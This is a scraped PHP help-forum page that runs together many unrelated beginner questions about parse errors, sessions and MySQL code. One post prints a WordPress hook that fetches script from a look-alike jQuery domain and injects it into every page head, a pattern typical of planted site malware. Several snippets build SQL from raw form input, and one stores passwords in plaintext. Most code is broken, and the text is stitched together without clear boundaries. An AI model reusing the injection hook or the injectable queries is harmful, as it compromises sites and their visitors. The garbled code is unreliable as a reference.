PHP - Weird Error Line 1
Im getting a realy weird error i my page.
Quote Parse error: syntax error, unexpected T_VARIABLE in /pathtoroot/subscribers.php on line 1 Code: [Select] <?php session_start(); include 'header.php'; include("connect.php"); $username = $_SESSION['username']; $id = $_SESSION['uid']; How on earth is there an error there lol? Similar Tutorialstore the forum apart looking for a solution to this one. for some reason, this is generating an 'unexpected $end' error. this is ALL the code. in entirety. i was just messing around getting familiar with filesystem stuff. no short tags. no curly brackets. so... Code: [Select] <?php $fileHandler = fopen("someFile.txt", 'w') or die ("could not create file"); $text = <<<_END drop some text and some stuff plus this stuff some other stuff _END; fwrite($fileHandler, $text) or die ("could not write to file"); fclose($fileHandler); echo "File 'someFile.txt' written successfully"; ?> thanks people. this has be stumped. not like its complicated, eh? and as you can see, screws up the colour coding as well... but WHY!?!? WR! So, I wrote a little function the other day to fetch an array of elements out of character-separated-data (like "value1|value2|value3", but then fetched into an array using explode()). The only thing is just that it isn't working at all[/]. Every time I run the function, and catch it as an variable to use it as an array, it simply outputs the word "media", with each character separated into one array-element. Could anybody figure out what's wrong with my code? (Aside from my style, I know it's horrible. I'm halfway learning OOP) Any help would be greatly appreciated. Code: [Select] if(!function_exists('getText')) { function getText($item) { $text = explode(" | ", $data["text"][$item]); $text = Array(0=>"")+$text; return Array(1=>$data["text"][$item]); //outputs Array(0=>"", "m", "e", "d", "i", "a") } } I am getting the following error message: Fatal error: Uncaught Error: Array callback must have exactly two elements in /Users/studio/Sites/BannerProject/b-as/tio-new/__classes/person_form_edit_initial.php:14 Stack trace: #0 /Users/studio/Sites/BannerProject/b-as/tio-new/index.php(78): require() #1 {main} thrown in /Users/studio/Sites/BannerProject/b-as/tio-new/__classes/person_form_edit_initial.php on line 14 for a line in my code that only has the following code: $person_id = $_SESSION('person_id'); This is a simple array assignment. Where is the "two elements" requirement? I"m confused by the "require() #1 {main}" comment in the message. If it refers to a require call in the index.php file, there are also no functions in that file or a file it requires that require two elements. --Kenoli
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you! I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0 SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?>
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me <?php session_start(); ?> <?php error_reporting (E_ALL ^ E_NOTICE); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="style.css" rel="stylesheet" type="text/css" /> <link href="tablefiestas.css" rel="stylesheet" type="text/css" /> <title>La Taverna de Juan</title> </head> <body> <div id="container"> <div id="header"> <!--MENU BAR--> <?php include("includes/db.php"); ?> </div> <!--VIDEOS--> <?php $query = ("SELECT * from videos"); $result = mysqli_query($connection,$query); $num_per_page =05; ?> <table border="1" width="100%"> <tr> <td>Video Id</td> <td>Titulo</td> <td>Video</td> </tr> <tr> <?php while ($row=mysqli_fetch_assoc($result)) { $videoid = $row['videoid']; $titulo = $row['titulo']; $url_video = $row['url_video']; ?> <td><?php echo $videoid ?></td> <td><?php echo $titulo ?></td> <td><?php echo $url_video ?></td> </tr> <?php}?> </table> <?php $query = "SELECT * from videos"; $pr_result = mysqli_query($connection,$query); $totalrecord = mysqli_num_rows($pr_result); echo $totalrecord; ?> <br> <div id="footer"> <!--FOOTER--> <?php include("includes/footer.inc.php"); ?> </div> </div> </body> </html> Edited November 18, 2019 by Psycho Added code tags Hey, was just writing rough code for a news feed script, and this error came up: Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 133693565 bytes) in /Applications/XAMPP/xamppfiles/htdocs/cameo/newsfeed.php on line 17 here's the code <?php require_once("vars.php"); //write the query to get the news feed info from the database $query = "SELECT * FROM news_feed"; $result = mysqli_query($dbc, $query); //create beginning tags for the news data table $output = "<table border=\"0\" cellspacing=\"0\" cellpadding=\"3\" name=\"news_data\">"; //display the news feed data $row = mysqli_fetch_array($result); while($row){ $output .= "<tr>" ."<td><h3>".$row['post_title']."</h3>" ."<br />Posted by: ".$row['posted_by']." on ".$row['date']."</td>" ."</tr>" ."<tr>" ."<td>".$row['post_body']."</td>" ."</tr>"; } $output .= "</table>"; echo $output; ?> and heres my vars file if needed <? //common session variables $username = $_SESSION['username']; $is_admin = $_SESSION['is_admin']; //database connection information variables $server = "localhost"; $user = "root"; $pass = ""; $db = "cameo"; //database function variables $dbc = mysqli_connect($server, $user, $pass, $db); //http header and script return variables $index = "/cameo/index.php"; $self = $_SERVER['PHP_SELF']; ?> This topic has been moved to Other Libraries and Frameworks. http://www.phpfreaks.com/forums/index.php?topic=328295.0 hello, if any one can help me solve this error.
case "unsuspend": $setupd = array("status" => "Active"); $db->update("members", $setupd, "id=" . $mid); break; case "activate": $setupd = array("status" => "Active"); $db->update("members", $setupd, "id=" . $mid); { if ($settings['referral_contest'] == 'yes') { $usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid ); if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) { $referrer = $usr['ref1']; if ($referrer != 0) { $today_var = $settings['referral_reset']; $chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer ); if ($chk == 0) { $data = array( 'user_id' => $referrer, 'day' . $today_var => 1 ); $db->insert( 'referral_stats', $data ); } else { $db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer ); } } } } break; case "delete": $userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid); deletemember($mid); if ($userdata['username'] != "BOT") { $db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'"); } if ($userdata['ref1'] != 0) { $db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']); } break; <?php class Post{ private $user_obj; private $con; public function __construct($con, $user){ $this->con = $con; $this->user_obj = new User($con,$user); } public function submitPost($body,$user_to){ $body = strip_tags($body);////Removing HTML TAGS $body = mysqli_real_escape_string($this->con,$body); $check_empty = preg_replace('/\s+/', '', $body);//delte all spaces if($check_empty != ""){ //Current Date and time $date_added = date("Y-m-d H:i:s"); //get username $added_by = $this->user_obj->getUsername(); //if user have not a profile send to the none if($user_to == $added_by){ $user_to = "none"; } ////insert query $query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')"); $retured_id = mysqli_insert_id($this->con); //insert notification //Update post count for user $num_post = $this->user_obj->getNumPosts(); $num_post++; $update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" ); } public function loadPostsFriends(){ $str = ""; //string to return $data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC"); while($row = mysqli_fetch_array($data)) { $id = $row['id']; $body = $row['body']; $added_by = $row['added_by']; $date_time = $row['date_added']; /// Creating user post on other user profile if($row['user_to'] == "none"){ user_to = ""; else { $user_to_obj = new User($con,$row['user_to']); $user_to_name = $user_to_obj->getFirstandLastname(); $user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>"; } // check if user account was closed $added_by_obj = new User($this->con,$added_by); if($added_by_obj ->isClosed()){ continue; } $user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'"); $user_row = mysqli_fetch_array($user_details_query); $first_name = $user_row['first_name']; $last_name = $user_row['last_name']; $profile_pic= $user_row['profile_pic']; ///time stamp $date_time_now = date("Y-m-d H:i:s"); $start_date = new Date_Time($date_time);////Time_of_post $end_date = new Date_Time($date_time_now);///Current_time $intervel = $start_date->diff($end_date); if($intervel->y >< 1 ){ if($intervel ==1 ) $time_message = $intervel->y . " year ago";/// 1 Year Ago else $time_message = $intervel->y . " years ago"; //1+ year ago } else if($intervel-> m >= 1 ){ if($intervel->d == 0){ $days = " ago"; } else if($intervel->d == 1){ $days = $intervel->d."day ago"; } else { $days = $intervel->d."day ago"; } if($intervel->m == 1){ $time_message = $intervel->m." month".$days; } else $time_message = $intervel->m." months".$days; } } else if($intervel->d >= 1){ if($intervel->d == 1){ $days = "Yesterday"; } else { $days = $intervel->d."days ago"; } } else if($intervel->h >= 1){ if($intervel->h == 1){ $time_message = $intervel->h." hour ago"; } else { $time_message = $intervel->h." hours ago"; } } else if($intervel->i >= 1){ if($intervel->i == 1){ $time_message = $intervel->i." minute ago"; } else { $time_message = $intervel->i." minutes ago"; } } else{ if($intervel->s < 30){ $time_message = "Just Now"; } else { $time_message = $intervel->s." seconds ago"; } } $str .= "<div class='status_post'> <div calss='post_profile_pic'> <img src='$profile_pic' width='50'> </div> <div calss='posted_by' style='color#ACACAC;'> <a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message </div> <div id = 'post_body'$body<br></div> </div> " } echo $str; } } ?> When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error I'm not very good at php, but this is my full code. I'm not sure what the problem is. If anyone could give me a hand, I would surely appreciate it. Line 77 in the last line of the this code. <html> <head> <title>Ace!</title> </head> <body> <h1>Ace!</h1> <h3>Demonstrates if statement</h3> <?php $begin = rand(1,10); print "You picked roman number $begin"; printNumber16($begin); printNumber110($begin); function printNumber16($begin){ global $begin; if ($begin == 1 ){ print "I"; } else if ($begin == 2){ print "II"; } else if ($begin == 3){ print "III"; } else if ($begin == 4){ print "IV"; } else if ($begin == 5){ print "V"; } else { print "I don't know what you talking bout broham"; } function printNumber110($begin) { global $begin; switch ($begin){ case 1: $roman = "I"; break; case 2: $roman = "II"; break; case 3: $roman = "III"; break; case 4: $roman = "IV"; break; case 5: $roman = "V"; break; case 6: $roman = "VI"; break; default: print "This is an illegal die!"; } print "<br>"; print "<br>"; print "You chose roman number $roman"; print "<br>"; print "<br>"; ?> <br> Refresh this page in the browser to roll another die. </body> </html> I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code <?php if (isset($_POST['login-submit'])) { require 'dbh.inc.php'; $mailuid = $_POST['mailuid']; $password = $_POST['pwd']; if (empty($mailuid) || empty($password)) { header("Location: ../index.php?error=emptyfields"); exit(); } else { $sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;"; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { header("Location: ../index.php?error=sqlerror"); exit(); } else { mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if ($row = mysqli_fetch_assoc($result)) { $pwdCheck = password_verify($password, $row['pwdUsers']); if ($pwdCheck == false) { header("Location: ../index.php?error=wrongpwd"); exit(); } else if ($pwdCheck == true) { session_start(); $_SESSION['userId'] = $row['idUsers']; $_SESSION['userUid'] = $row['uidUsers']; header("Location: ../index.php?login=success"); exit(); } else { header("Location: ../index.php?error=wrongpwd"); exit(); } } else ( header("Location: ../index.php?error=nouser"); exit(); ) } } } else { header("Location: ../index.php"); exit(); }
|